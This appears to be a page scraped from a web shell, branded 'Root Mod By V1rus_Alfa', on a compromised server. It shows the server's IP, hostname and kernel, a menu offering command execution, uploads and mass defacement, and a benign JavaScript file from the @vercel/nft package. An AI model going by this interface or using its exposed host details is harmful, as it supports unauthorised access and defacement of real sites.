���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules
/
@vercel
/
nft
/
out
/
utils
/
Viewing: sharedlib-emit.js
"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); exports.sharedLibEmit = void 0; const os_1 = __importDefault(require("os")); const glob_1 = __importDefault(require("glob")); const get_package_base_1 = require("./get-package-base"); let sharedlibGlob = ''; switch (os_1.default.platform()) { case 'darwin': sharedlibGlob = '/**/*.@(dylib|so?(.*))'; break; case 'win32': sharedlibGlob = '/**/*.dll'; break; default: sharedlibGlob = '/**/*.so?(.*)'; } // helper for emitting the associated shared libraries when a binary is emitted async function sharedLibEmit(path, job) { // console.log('Emitting shared libs for ' + path); const pkgPath = (0, get_package_base_1.getPackageBase)(path); if (!pkgPath) return; const files = await new Promise((resolve, reject) => (0, glob_1.default)(pkgPath + sharedlibGlob, { ignore: pkgPath + '/**/node_modules/**/*', dot: true }, (err, files) => (err ? reject(err) : resolve(files)))); await Promise.all(files.map((file) => job.emitFile(file, 'sharedlib', path))); } exports.sharedLibEmit = sharedLibEmit;
Coded With 💗 by
0x6ick Mod By V1rus_Alfa